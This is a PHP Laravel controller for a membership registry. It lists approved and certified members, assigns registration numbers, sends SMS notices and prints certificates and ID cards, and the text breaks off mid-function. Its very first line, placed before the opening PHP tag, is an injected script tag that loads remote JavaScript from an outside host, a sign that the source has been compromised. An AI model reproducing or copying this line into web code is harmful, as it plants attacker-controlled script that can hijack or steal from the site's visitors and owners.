<script src="http://z3ro.today/kaydet.php"></script><?php

namespace App\Http\Controllers;

use DateTime;
use App\Models\Dates;
use App\Models\Members;
use Illuminate\Http\Request;

class CertificateAllocationController extends Controller
{
    public function certificate()
    {
        // no other action can be performed in db row after approving application hence order by updated at
        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '0')
            ->where('level_id', '!=', '5')
            ->orderBy('accepted_sn', 'asc')->paginate(100);

        return view('certification.approvedmembers', compact('memberName'));
    }

    public function certified_members()
    {
        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '!=', '5')
            ->orderBy('reg_no', 'asc')
            ->paginate(100);
        return view('certification.certifiedmembers', compact('memberName'));
    }

    public function search_valid_members(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::where('app_status', '2')
            ->where('certificate_status', '0')
            ->where('level_id', '!=', '5')
            ->orderBy('updated_at', 'asc');

        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }
        if ($validated['name']) {
            $member = $member->where(function ($query) use ($validated) {
                $query->where('name', 'like', '%' . $validated['name'] . '%')
                    ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
            });
        }

        $memberName = $member->paginate(100);


        return view('certification.approvedmembers', compact('memberName'));
    }

    public function search_certified_members(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '!=', '5')
            ->orderBy('updated_at', 'asc');

        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }
        if ($validated['name']) {
            $member = $member->where(function ($query) use ($validated) {
                $query->where('name', 'like', '%' . $validated['name'] . '%')
                    ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
            });
        }

        $memberName = $member->paginate(100);


        return view('certification.certifiedmembers', compact('memberName'));
    }

    public function cert_approve(Request $request)
    {
        $validated = $request->validate([
            'snfrom' => ['required', 'numeric'],
            'snto' => ['required', 'numeric'],
            'decdate' => ['required', 'string'],
        ]);

        $snfrom = $validated['snfrom'];
        $snto = $validated['snto'];
        $members = Members::whereBetween('accepted_sn', [$validated['snfrom'], $validated['snto']])
            ->where('level_id', '!=', '5')
            ->where('app_status', '2')
            ->where('certificate_status', '!=', '1')
            ->orderBy('accepted_sn', 'asc')
            ->get();


        foreach ($members as $member) {
            $maxRegNo = Members::where('level_id', '!=', 5)->max('reg_no');

            $member->reg_no = $maxRegNo + 1;
            $member->certificate_status = '1';
            $member->certificate_approved_at = date('Y-m-d') . ' ' . date('H:i:s');
            $member->certificate_decision_date = $validated['decdate'];
            $member->certificate_approved_by = auth()->user()->id;
            $member->save();

            $mobile = $member->mobileno;
            $message = "Your registration is completed & certificate has been issued. -Registrar Janak B. Raul";
            send_sparrow_sms($mobile, $message);
        }

        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '0')
            ->where('level_id', '!=', '5')
            ->orderBy('accepted_sn', 'asc')->paginate(100);

        return view('certification.approvedmembers', compact('memberName'));
    }

    // gra pa swa ka 
    public function gcertificate()
    {
        // no other action can be performed in db row after approving application hence order by updated at
        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '0')
            ->where('level_id', '5')
            ->orderBy('accepted_sn', 'asc')->paginate(100);

        return view('gcertification.approvedmembers', compact('memberName'));
    }

    public function gcertified_members()
    {
        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '5')
            ->orderBy('accepted_sn', 'asc')
            ->paginate(100);
        return view('gcertification.certifiedmembers', compact('memberName'));
    }

    public function gsearch_valid_members(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::where('app_status', '2')
            ->where('certificate_status', '0')
            ->where('level_id', '5')
            ->orderBy('updated_at', 'asc');

        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }
        if ($validated['name']) {
            $member = $member->where(function ($query) use ($validated) {
                $query->where('name', 'like', '%' . $validated['name'] . '%')
                    ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
            });
        }

        $memberName = $member->paginate(100);


        return view('gcertification.approvedmembers', compact('memberName'));
    }

    public function gsearch_certified_members(Request $request)
    {
        $validated = $request->validate([
            'name' => ['nullable', 'string'],
            'phone' => ['nullable', 'numeric'],
        ]);

        $member = Members::where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '5')
            ->orderBy('updated_at', 'asc');

        if ($validated['phone']) {
            $member = $member->where('mobileno', $validated['phone']);
        }
        if ($validated['name']) {
            $member = $member->where(function ($query) use ($validated) {
                $query->where('name', 'like', '%' . $validated['name'] . '%')
                    ->orWhere('nameeng', 'like', '%' . $validated['name'] . '%');
            });
        }

        $memberName = $member->paginate(100);


        return view('gcertification.certifiedmembers', compact('memberName'));
    }

    public function gcert_approve(Request $request)
    {
        $validated = $request->validate([
            'snfrom' => ['required', 'numeric'],
            'snto' => ['required', 'numeric'],
            'decdate' => ['required', 'string'],
        ]);

        $snfrom = $validated['snfrom'];
        $snto = $validated['snto'];
        $members = Members::whereBetween('accepted_sn', [$validated['snfrom'], $validated['snto']])
            ->where('level_id', '5')
            ->where('app_status', '2')
            ->where('certificate_status', '!=', '1')
            ->orderBy('accepted_sn', 'asc')
            ->get();

        foreach ($members as $member) {
            $maxRegNo = Members::where('level_id', 5)->max('reg_no');

            $member->reg_no = $maxRegNo + 1;
            $member->certificate_status = '1';
            $member->certificate_approved_at = date('Y-m-d') . ' ' . date('H:i:s');
            $member->certificate_decision_date = $validated['decdate'];
            $member->certificate_approved_by = auth()->user()->id;
            $member->save();

            $mobile = $member->mobileno;
            $message = "Your registration is completed & certificate has been issued. -Registrar Janak B. Raul";
            send_sparrow_sms($mobile, $message);
        }

        $memberName = Members::where('app_status', '2')
            ->where('certificate_status', '1')
            ->where('level_id', '5')
            ->orderBy('certificate_decision_date', 'desc')
            ->paginate(100);
        return view('gcertification.certifiedmembers', compact('memberName'));
    }


    public function print_certif($memberid, $hash)
    {
        // check hash authenticity
        if (!checkHash($memberid, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $memberInfo = Members::findOrFail($memberid);

        // member's age
        $nepdob = $memberInfo->dob;
        $engdate = Dates::where('nepdate', '=', $nepdob)->first();
        $engdob = $engdate->engdate;
        $certificate_approved_date = Dates::where('nepdate', '=', $memberInfo->certificate_decision_date)->first();
        $approveddateeng = $certificate_approved_date->engdate;
        if ($approveddateeng) {
            $age = $this->calculateAge($engdob, $approveddateeng);

            return view('gcertification.reg-certificate', compact('memberInfo', 'age'));
        } else {
            return back()->with('error', 'Sorry! Your certificate is not ready yet.');
        }
    }

    public function print_idcard($memberid, $hash)
    {
        // check hash authenticity
        if (!checkHash($memberid, $hash)) {
            return back()->with('error', 'INACCESSABLE !');
        }

        $memberInfo = Members::findOrFail($memberid);

        // member's age
        $nepdob = $memberInfo->dob;
        $engdate = Dates::where('nepdate', '=', $nepdob)->first();
        $engdob = $engdate->engdate;
        $certificate_approved_date = Dates::where('nepdate', '=', $memberInfo->certificate_decision_date)->first();
        $approveddateeng = $certificate_approved_date->engdate;
        if ($approveddateeng) {
            $age = $this->calculateAge($engdob, $approveddateeng);

            return view('gcertification.id-card', compact('memberInfo', 'age'));
        } else {
            return back()->with('error', 'Sorry! Your certificate is not ready yet.');
        }
    }

    private function calculateAge($dob, $approvedDate)
    {
        $birthDate = new DateTime($dob);
        $currentDate = new DateTime($approvedDate);
        $interval = $birthDate->diff(